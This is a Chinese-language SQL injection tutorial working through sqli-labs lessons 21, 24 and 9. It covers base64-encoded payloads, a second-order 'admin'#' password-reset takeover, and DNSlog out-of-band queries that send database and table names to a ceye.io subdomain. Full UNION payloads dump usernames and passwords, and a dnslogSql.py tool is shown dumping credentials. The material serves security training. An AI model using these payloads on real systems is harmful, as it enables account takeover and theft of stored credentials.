SQL注入之二次,加解密,DNSlog等注入
加解密注入,二次注入,DNSlog注入必知知识点
1.加解密注入
知识点
即get或者post的参数采用了base64等加密方式将数据进行加密,在通过参数传递给服务器,eg:www.xxx.com/index.php?id=MQ==
加密部分:MQ==
解密结果:1 相当于id=1
base64加密结果:MSBhbmQgMT0x
语句为:www.xxx.com/index.php?id=MSBhbmQgMT0x
2.二次注入
1.原理
二次注入是存储型注入,可以理解为构造恶意数据存储在数据库后,恶意数据被读取并进入到了SQL查询语句所导致的注入。恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。详细点来讲,就是在第一次进行数据库插入数据的时候,仅仅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc 对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身还是脏数据。在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。比如在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,就形成了二次注入。二次注入无法通过扫描工具或者代码自己手工测试出来的,二次注入一般会产生在网站程序源代码才会发现的注入漏洞,从前端或者黑盒测试是看不到这个漏洞的。
2.过程
第一步:插入恶意数据
第一次进行数据库插入数据的时候,仅仅对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身包含恶意内容。
第二步:引用恶意数据
在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次需要进行查询的时候,直接从数据库中取出了恶意数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。
3.过程原理图
4.思路
a. 黑客通过构造数据的形式,在浏览器或者其他软件中提交HTTP数据报文请求到服务端进行处理,提交的数据报文请求中可能包含了黑客构造的SQL语句或者命令。
b. 服务端应用程序会将黑客提交的数据信息进行存储,通常是保存在数据库中,保存的数据信息的主要作用是为应用程序执行其他功能提供原始输入数据并对客户端请求做出响应。
c. 黑客向服务端发送第二个与第一次不相同的请求数据信息。
d. 服务端接收到黑客提交的第二个请求信息后,为了处理该请求,服务端会查询数据库中已经存储的数据信息并处理,从而导致黑客在第一次请求中构造的SQL语句或者命令在服务端环境中执行。
e. 服务端返回执行的处理结果数据信息,黑客可以通过返回的结果数据信息判断二次注入漏洞利用是否成功。
2.DNSlog注入
1.原理
首先需要有一个可以配置的域名,比如:ceye.io,然后通过代理商设置域名 ceye.io 的 nameserver 为自己的服务器 A,然后再服务器 A 上配置好 DNS Server,这样以来所有 ceye.io 及其子域名的查询都会到 服务器 A 上,这时就能够实时地监控域名查询请求了。DNS在解析的时候会留下日志,咱们这个就是读取多级域名的解析日志,来获取信息。简单来说就是把信息放在高级域名中,传递到自己这,然后读取日志,获取信息
2.利用场景
在sql注入时为布尔盲注、时间盲注,注入的效率低且线程高容易被waf拦截,又或者是目标站点没有回显,我们在读取文件、执行命令注入等操作时无法明显的确认是否利用成功,这时候就要用到我们的DNSlog注入。
3.推荐平台
a. http://www.dnslog.cn
涉及资源
Sqlmap注入Base64编码的注入点:
https://www.bbsmax.com/A/A2dmVVQBze/
https://www.freebuf.com/column/184587.html
https://www.cnblogs.com/renhaoblog/p/12912452.html
https://www.pianshen.com/article/9561325277/
https://github.com/bugscanteam/dnslog/(自己搭建dnslog服务器)
PHP脚本
<?php
$url='http://xxxx/job_bystjb/yjs_byszjs.asp?id=';
$payload=base64_encode($_GET['x']);
echo$payload;
$urls=$url.$payload;
file_get_contents($urls);
echo$urls;
?>
案例演示
sqlilabs-less21-cookie&加解密注入
使用admin进行登录
登录成功之后会显示一系列信息
登录失败会显示失败信息。
登录后发现uname的值不是admin而是一串乱码,根据格式猜想是Base64加密
这是因为将admin进行base64转码 YWRtaW4= 解码之后为admin
和第20关相似,只不过这一次将admin进行base64转码
使用burp抓包
在admin后面加上单引号并进行编码
报错,根据报错信息得知还需要在单引号后加上右括号
admin') 然后进行编码,报错
admin') #然后进行编码,回显正常
说明闭合方式为 ( ' ' )
判断数据位
admin ') order by 4 #和admin ') order by 3 #然后加密,根据回显判断有3列
判断回显位
-1 ' ) union select 1,2,3#加密
在回显位判断数据库
-1 ') union select 1,2,database()# 加密
获取所有库
-1 ') union select 1,2, (select group_concat(schema_name) from information_schema.schemata)# 加密
获取security库中的表
-1 ') union select 1,2, (select group_concat(table_name) from information_schema.tables where table_schema='security') #
获取users表中的字段名
-1' ) union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')# 加密
获取username和password的字段值
-1') union select 1,2,(select group_concat(username,':',password) from security.users)# 加密
sqlilabs-less24-post登录框&二次注入
打开网页看到一个登陆界面,输入admin/admin后是修改密码的界面。改密码涉及到对数据库的记录进行替换,我们怀疑此处有一个 UPDATE 语句。
在任何界面进行注入应该都是无效的,因为操作失败时会跳转到其他页面,而没有任何例如错误的回显信息。此处考虑的就不是之前那些把敏感信息弄出来的注入了,而是考虑利用改密码操作夺取其他账号的控制权。此处我们考虑二次注入,首先我们构造一个特殊的用户,该用户的用户名为 “admin'#”,密码随便设
查看数据库,已经添加成功
使用admin’#进行登录
登录成功后,更改密码为1234
密码更改成功
返回主界面使用账户:admin 密码:1234登录
登陆成功
此时如果将这个用户作为过滤条件实现记录的修改,该用户名后面的 “'#” 不仅能闭合字段,也能把后面的内容注释掉。而且成功闭合后,我们实际上操作的用户名应该是 “admin”。修改密码成功之后,使用用户名 “admin” 和我们修改的密码进行登录,发现我们夺去了该用户的密码,登录成功
网页源码
登录界面
function sqllogin(){
$username = mysql_real_escape_string($_POST["login_user"]);
$password = mysql_real_escape_string($_POST["login_password"]);
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
//$sql = "SELECT COUNT(*) FROM users WHERE username='$username' and password='$password'";
$res = mysql_query($sql) or die('You tried to be real smart, Try harder!!!! :( ');
$row = mysql_fetch_row($res);
//print_r($row) ;
if ($row[1])
{
return $row[1];
}
else
{
return 0;
}
}
调用登录函数,如果有查询到记录就分配一下 cookie,然后跳转到 logged-in.php 页面上。如果登录失败就输出失败信息,从中我们可以看到这里是没有注入点的。
$login = sqllogin();
if (!$login== 0)
{
$_SESSION["username"] = $login;
setcookie("Auth", 1, time()+3600); /* expire in 15 Minutes */
header('Location: logged-in.php');
}
else
{
?>
<tr><td colspan="2" style="text-align:center;"><br/><p style="color:#FF0000;">
<center>
<img src="../images/slap1.jpg">
</center>
</p></td></tr>
<?PHP
}
注册界面
注册界面使用 SELECT 语句对用户名进行查找,如果查找不到记录就可以使用 INSERT 语句插入记录。mysql_escape_string() 函数用于对字符串进行转义,因此此处也是不能注入的,同时插入数据库中的特殊字符也会被转义。
if (isset($_POST['submit']))
{
# Validating the user input........
//$username = $_POST['username'] ;
$username = mysql_escape_string($_POST['username']) ;
$pass = mysql_escape_string($_POST['password']);
$re_pass = mysql_escape_string($_POST['re_password']);
echo "<font size='3' color='#FFFF00'>";
$sql = "select count(*) from users where username='$username'";
$res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
$row = mysql_fetch_row($res);
//print_r($row);
if (!$row[0] == 0)
{
?>
<script>alert("The username Already exists, Please choose a different username ")</script>;
<?php
header('refresh:1, url=new_user.php');
}
else
{
if ($pass == $re_pass)
{
# Building up the query........
$sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";
mysql_query($sql) or die('Error Creating your user account, : '.mysql_error());
echo "</br>";
echo "<center><img src=../images/Less-24-user-created.jpg><font size='3' color='#FFFF00'>";
//echo "<h1>User Created Successfully</h1>";
echo "</br>";
echo "</br>";
echo "</br>";
echo "</br>Redirecting you to login page in 5 sec................";
echo "<font size='2'>";
echo "</br>If it does not redirect, click the home button on top right</center>";
header('refresh:5, url=index.php');
}
else
{
?>
<script>alert('Please make sure that password field and retype password match correctly')</script>
<?php
header('refresh:1, url=new_user.php');
}
}
}
密码修改界面
在这个页面中,使用 UPDATE 语句修改记录,以用户名和原密码作为过滤条件来过滤
if (isset($_POST['submit']))
{
# Validating the user input........
$username = $_SESSION["username"];
$curr_pass = mysql_real_escape_string($_POST['current_password']);
$pass = mysql_real_escape_string($_POST['password']);
$re_pass = mysql_real_escape_string($_POST['re_password']);
if($pass == $re_pass)
{
$sql = "UPDATE users SET PASSWORD ='$pass' where username ='$username' and password='$curr_pass' ";
$res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
$row = mysql_affected_rows();
echo '<font size="3" color="#FFFF00">';
echo '<center>';
if($row == 1)
{
echo "Password successfully updated";
}
else
{
header('Location: failed.php');
//echo 'You tried to be smart, Try harder!!!! :( ';
}
}
else
{
echo '<font size="5" color="#FFFF00"><center>';
echo "Make sure New Password and Retype Password fields have same value";
header('refresh:2, url=index.php');
}
}
注入原理
观察上述源码中出现的所有 SQL 语句,都没有明显的注入点,因为没有任何的回显信息。但是观察到在密码修改的 UPDATE 语句前,用户名是没有进行转义的,也就是用户名本身可以夹带一些其他字符
UPDATE users SET PASSWORD ='$pass' where username ='$username' and password='$curr_pass'
如果用户名是 “admin'#”,则 SQL 语句会变成这样。
UPDATE users SET PASSWORD ='$pass' where username ='admin'#' and password='$curr_pass'
由于此时符号没有转义,因此该用户名的 “#” 在 SQL 语句中会当做是注释
UPDATE users SET PASSWORD ='$pass' where username ='admin'#
注释掉后面语句后,就变成了修改用户admin的密码了,而admin'#用户密码没有改变。
sqlilabs-less9-load_file&dnslog带外注入
首先在http://ceye.io/注册一个账号,记录以下信息
less 9
没有任何显示信息
库名
构建payload
http://127.0.0.1/sqli-labs/Less-9/?id=1' and load_file(concat("\\\\",database(),".xxxx.ceye.io\\xxx.txt"))--+
"\\\\"
四个\
不能少
注意.xxxx.ceye.io
是你的子域名,前面要加个.
后面的\\xxx.txt
,\\
是必须的,xxx.txt
这部分随便是什么内容,不能为空。
在平台上查看返回的值:
表名:
http://127.0.0.1/sqli-labs/Less-9/?id=1' and load_file(concat("\\\\",(select group_concat(table_name SEPARATOR'-') from information_schema.tables where table_schema='security'),".1rcb1z.ceye.io\\xxx.txt"))--+
查找列名等其他信息的payload可以参考前面几关
要注意,在线平台只适合联系靶场,你所查找的信息该网站肯定会有记录的。
不过可以自己搭一个DNSlog平台
https://github.com/bugscanteam/dnslog/
py-DnslogSqlinj-dnslog诸如演示脚本演示
工具地址 :https://github.com/adooo/dnslogsqlinj
需要使用python27环境
首先需要修改配置文件:
使用语句如下:
获取数据库名:
python dnslogSql.py -u "http://127.0.0.1/sqli-labs/Less-9/?id=1' and ({})--+" --dbs
获取数据库security下的表名:
python dnslogSql.py -u "http://127.0.0.1/sqli-labs/Less-9/?id=1' and ({})--+" -D security --tables
获取users表的列名:
python dnslogSql.py -u "http://127.0.0.1/sqli-labs/Less-9/?id=1' and ({})--+" -D security -T users --columns
获取uses表中的数据:
python dnslogSql.py -u "http://127.0.0.1/sqli-labs/Less-9/?id=1' and ({})--+" -D security -T users -C username,password --dump